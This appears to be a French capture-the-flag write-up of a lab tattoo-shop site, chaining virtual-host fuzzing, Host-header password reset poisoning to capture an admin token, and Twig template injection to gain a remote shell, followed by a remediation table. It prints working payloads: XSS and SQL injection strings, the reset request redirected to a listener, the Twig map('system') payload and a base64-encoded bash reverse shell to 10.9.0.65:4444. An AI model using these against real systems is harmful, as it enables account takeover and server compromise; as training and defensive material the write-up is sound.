Lab Inked : Password Reset Poisoning vers SSTI Twig et Shell sur un CRM de Salon de Tatouage
Pentest d'un salon de tatouage en ligne : découverte d'un sous-domaine admin par virtual host fuzzing, capture d'un token de réinitialisation via Password Reset Poisoning (Host Header Injection), accès au dashboard staff, puis RCE via une SSTI Twig dans le formulaire de prise de rendez-vous.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | Webverse |
| Lien | Accéder au Lab |
| Cible | inked.local, 10.100.0.30 |
| OS | Linux (nginx) |
| Vuln. clés | Host Header Injection, SSTI Twig |
| Difficulté | Medium |
Scénario : Les coordonnées d'un client de Jill's Tatt Shop ont été retrouvées là où elles n'auraient pas dû être. Jill nous mandate pour tester l'ensemble de ses systèmes : le site public de prise de rendez-vous, le dashboard staff sur un sous-domaine séparé, et l'API CRM qui les relie. On commence en visiteur anonyme sur le site public.
Kill chain :
Site public inked.local (port 80)
│
▼
Virtual host fuzzing → admin.inked.local découvert
│
▼
Formulaire public → tests XSS/SQLi → négatifs
│
▼
Email admin jill@inked.local trouvé dans le footer
│
▼
Password Reset Poisoning → Host Header modifié → token capturé
│
▼
Accès dashboard admin en tant que jill
│
▼
Formulaire appointments → SSTI détectée sur le champ description
│
▼
Identification moteur Twig → RCE via map('system')
│
▼
Reverse shell → flag
1. Reconnaissance
rustscan -b 500 -a 10.100.0.30 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://inked.local/
Un seul port ouvert : 80/tcp avec nginx. Le serveur redirige automatiquement vers http://inked.local/. Un seul service web, pas de SSH ni d'autres vecteurs apparents. Toute l'attaque passera par le web.
Le TTL de 63 confirme une machine Linux (TTL initial 64, décrémenté d'un saut).

Le site présente un salon de tatouage avec des pages standard : galerie, artistes, FAQ, et un formulaire de prise de rendez-vous.
2. Enumération Web
Virtual Host Fuzzing
Un seul domaine visible, mais le briefing mentionne un dashboard staff sur un sous-domaine séparé. On tente de découvrir des sous-domaines via virtual host fuzzing.
Comment fonctionne le virtual host fuzzing :
Sur un serveur nginx ou Apache, plusieurs sites peuvent tourner sur la même IP et le même port. Le serveur utilise l'en-tête HTTP Host pour déterminer quel site servir. En faisant varier cet en-tête avec une wordlist, on peut découvrir des sous-domaines qui ne sont pas référencés publiquement (pas dans le DNS public, pas dans les résultats de recherche).
ffuf -u "http://inked.local" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.inked.local" \
-fs 138
| Option | Rôle |
|---|---|
-u "http://inked.local" | URL cible, toujours la même IP |
-H "Host: FUZZ.inked.local" | En-tête Host modifié à chaque tentative avec le mot de la wordlist |
-fs 138 | Filtre les réponses de taille 138 octets, la taille de la réponse par défaut pour les sous-domaines inexistants |
[!NOTE] Le
-fs 138(filter size) a été déterminé lors d'un premier lancement sans filtre : toutes les tentatives sur des sous-domaines inexistants retournaient exactement 138 octets. En filtrant cette taille, on ne garde que les réponses différentes, qui correspondent à des sous-domaines réels.
Output :

Un sous-domaine découvert : admin.inked.local.
On ajoute l'entrée dans /etc/hosts pour pouvoir y accéder :
echo "10.100.0.30 admin.inked.local" | sudo tee -a /etc/hosts

Un formulaire de connexion avec email et mot de passe. Aucune option d'inscription visible : c'est réservé au staff.
Content Discovery sur inked.local
feroxbuster -u "http://inked.local" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
Output :
301 GET http://inked.local/img => http://inked.local/img/
200 GET http://inked.local/faq.php
200 GET http://inked.local/artists.php
200 GET http://inked.local/booking.php
200 GET http://inked.local/gallery.php
200 GET http://inked.local/index.php
301 GET http://inked.local/_shared => http://inked.local/_shared/
L'application est en PHP (extensions .php confirmées). Les pages standard ne révèlent rien de sensible, à l'exception de deux éléments :
1. Le formulaire de prise de rendez-vous (booking.php) : il comporte plusieurs champs dont une description libre. Le message affiché sur la page est : "We read every request." Ce texte suggère qu'un membre du staff consulte ces soumissions manuellement, ce qui en fait un vecteur potentiel pour des attaques côté staff (XSS stockée, injection de template).

2. L'email admin dans le footer : jill@inked.local.

Cet email est la pièce clé : si on peut réinitialiser le mot de passe de ce compte, on accède au dashboard admin.
3. Investigation du Formulaire de Booking
Avant de cibler le compte admin directement, on teste le formulaire de booking pour des vulnérabilités classiques.
Les tests réalisés :
XSS stockée : payloads <script>alert(1)</script>, <img src=x onerror=alert(1)>, "><svg onload=alert(1)> injectés dans tous les champs. Aucune exécution côté admin détectée.
Injection SQL : payloads ' OR 1=1--, " OR "1"="1, 1; DROP TABLE appointments-- testés sur les champs textuels. Aucune erreur SQL ni comportement anormal.
Ces deux vecteurs sont écartés. On concentre l'effort sur le panel admin.
4. Password Reset Poisoning
Référence : Vaadata : Host Header Attacks
Comprendre l'Attaque
Le Password Reset Poisoning exploite une mauvaise gestion de l'en-tête HTTP Host lors du processus de réinitialisation de mot de passe.
Comportement normal :
1. Utilisateur demande un reset pour jill@inked.local
2. Le serveur génère un token unique
3. Le serveur construit le lien : http://[valeur du header Host]/reset?token=XXX
4. Le lien est envoyé par email à jill@inked.local
Le problème : l'étape 3 fait confiance à la valeur de l'en-tête Host fournie par le client dans la requête, au lieu d'utiliser une URL de base configurée côté serveur.
L'attaque :
1. Attaquant demande un reset pour jill@inked.local
2. Il modifie l'en-tête Host → attaquant.com
3. Le serveur génère un token et construit :
http://attaquant.com/reset?token=XXX
4. Jill reçoit l'email avec CE lien
5. Jill clique → le token arrive sur le serveur de l'attaquant
6. Attaquant utilise le token sur le vrai site → accès au compte
Mise en Oeuvre
On utilise Webhook.site comme serveur d'écoute : il génère une URL unique et log toutes les requêtes reçues.
Étape 1 : Capturer la requête de reset avec Burp Suite
On déclenche une réinitialisation de mot de passe pour jill@inked.local et on intercepte la requête dans Burp.

Étape 2 : Modifier l'en-tête Host dans le Repeater
On envoie la requête au Repeater et on modifie l'en-tête Host pour pointer vers notre URL Webhook.site :
POST /forgot-password HTTP/1.1
Host: notre-url.webhook.site
Content-Type: application/x-www-form-urlencoded
email=jill%40inked.local

On envoie. Le serveur va construire le lien de reset en utilisant notre-url.webhook.site comme base d'URL.
Étape 3 : Récupérer le Token
Sur l'interface Webhook.site, on attend que Jill (ou le système automatisé du lab) clique sur le lien reçu par email :

Le token arrive dans les logs de notre webhook :
GET /reset-password/ce4fa82d5dca4af2ba2e28153db4919fdbb810edf1fabeb7601457fb5fdbe351
Utilisation du Token
On ouvre le lien de reset sur le vrai site, cette fois avec le token capturé :
http://admin.inked.local/reset-password/ce4fa82d5dca4af2ba2e28153db4919fdbb810edf1fabeb7601457fb5fdbe351

On définit un nouveau mot de passe, puis on se connecte avec jill@inked.local.

Accès obtenu au dashboard staff.
5. Investigation du Dashboard Admin
L'écran d'accueil affiche les rendez-vous soumis par les clients.
On soumet un rendez-vous via le site public et on observe son apparition dans le dashboard :


Les données saisies dans le formulaire public sont affichées côté admin. Si l'un des champs est rendu sans échappement, on a une injection côté serveur. On teste une SSTI (Server-Side Template Injection).
6. Server-Side Template Injection (SSTI)
Référence : Vaadata : SSTI
Comprendre la Vulnérabilité
Un moteur de template (Twig, Jinja2, Smarty, Freemarker...) est utilisé pour générer du HTML dynamique en combinant un template et des données. Les expressions entourées de balises spéciales comme {{ }} sont évaluées et remplacées par leur résultat.
La faille : si une donnée fournie par l'utilisateur est directement insérée dans le template avant rendu, l'attaquant peut injecter des expressions qui seront évaluées par le moteur. Contrairement à la XSS qui s'exécute côté client, la SSTI s'exécute côté serveur, avec les droits du processus web.
Détection
On injecte le payload universel de détection SSTI dans tous les champs du formulaire :
${{<%[%'"}}@{%.#{<%=
Ce payload contient la syntaxe de déclenchement de la plupart des moteurs de template. Si l'un d'eux est présent et non protégé, il retournera une erreur ou un comportement anormal.


Le champ description provoque une erreur. C'est notre vecteur.
Identification du Moteur de Template
On teste un payload d'identification basé sur les erreurs :
{{(1/0).xyz.xyz}}
Référence : PayloadsAllTheThings - Error based detection

Le message d'erreur et sa syntaxe correspondent à la signature de Twig, un moteur de template PHP très répandu.

Moteur confirmé : Twig (PHP).
7. RCE via SSTI Twig
Le Payload
Twig 1.x expose le filtre map avec la fonction system, ce qui permet d'exécuter des commandes OS :
{{ ['commande'] | map('system') | join }}
Décomposition du payload :
| Élément | Rôle |
|---|---|
['commande'] | Tableau contenant la commande à exécuter |
map('system') | Applique la fonction PHP system() à chaque élément du tableau |
join | Concatène les résultats pour les afficher |
system() est une fonction PHP native qui exécute une commande shell et retourne son output. En la passant via map, Twig l'applique à notre commande avec les droits du processus PHP, donc ceux du serveur web.
Préparation du Reverse Shell
On encode le reverse shell en Base64 pour éviter les problèmes d'échappement de caractères spéciaux (>, &, /) qui pourraient être interprétés par le template ou le serveur avant exécution :
echo "bash -i >& /dev/tcp/10.9.0.65/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjAuNjUvNDQ0NCAwPiYxCg==
Le payload final décode la chaîne Base64 et la passe à bash :
{{ ['echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjAuNjUvNDQ0NCAwPiYxCg== | base64 -d | bash'] | map('system') | join }}
Listener avec Penelope
On utilise Penelope à la place de netcat classique. Penelope est un handler de reverse shell qui stabilise automatiquement le TTY, gère les sessions multiples et propose un menu interactif.
penelope
[+] Listening for reverse shells on 0.0.0.0:4444
-> 127.0.0.1 • 192.168.1.144 • 10.9.0.65
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Injection
On soumet le payload dans le champ description du formulaire de booking :

Quand le staff consulte le dashboard et que le template rend la description, system() est appelé, et Penelope reçoit la connexion :

8. Flag
cat /flag.txt

9. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → nginx port 80, redirection inked.local
2. FFUF vhost → admin.inked.local découvert
3. Feroxbuster → booking.php + email jill@inked.local dans le footer
4. Tests formulaire → XSS et SQLi négatifs
5. Password Reset Poisoning → Host header modifié → token capturé → accès jill
6. Dashboard admin → formulaire appointments affiche les données clients
7. SSTI détection → champ description vulnérable
8. SSTI identification → moteur Twig confirmé
9. Payload Twig RCE → reverse shell via map('system')
10. Flag → lu dans /flag.txt
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Virtual host non référencé | admin.inked.local découvrable par fuzzing | La sécurité par obscurité ne suffit pas. Protéger le panel admin par IP whitelisting, VPN ou authentification forte en amont (WAF, bastion) |
| Email admin dans le footer | jill@inked.local exposé publiquement | Utiliser une adresse générique de contact. Ne jamais exposer les emails des comptes admin |
| Password Reset Poisoning | Le serveur construit l'URL de reset depuis l'en-tête Host client | Définir une base_url fixe dans la configuration serveur et ne jamais utiliser l'en-tête Host pour construire des URLs dans des fonctions sensibles |
| SSTI sur le champ description | Les données utilisateur sont insérées directement dans le template Twig | Ne jamais insérer de données non vérifiées directement dans un template. Utiliser les mécanismes d'échappement de Twig (escape filter) ou passer les données via le contexte du template uniquement |
| Droits excessifs du processus web | Le shell obtenu tourne avec les droits du serveur web | Faire tourner nginx et PHP-FPM avec un utilisateur dédié sans droits d'écriture sur le système de fichiers et sans accès aux fichiers sensibles |
[!NOTE] La leçon principale de ce lab : les deux vulnérabilités exploitées, le Password Reset Poisoning et la SSTI, ont quelque chose en commun. Dans les deux cas, le serveur fait confiance à une entrée utilisateur sans la valider. L'en-tête
Hostpour construire une URL, et le champdescriptionpour rendre un template. La règle est universelle : toute donnée externe au système doit être traitée comme hostile jusqu'à preuve du contraire.
Writeup rédigé par Zcook
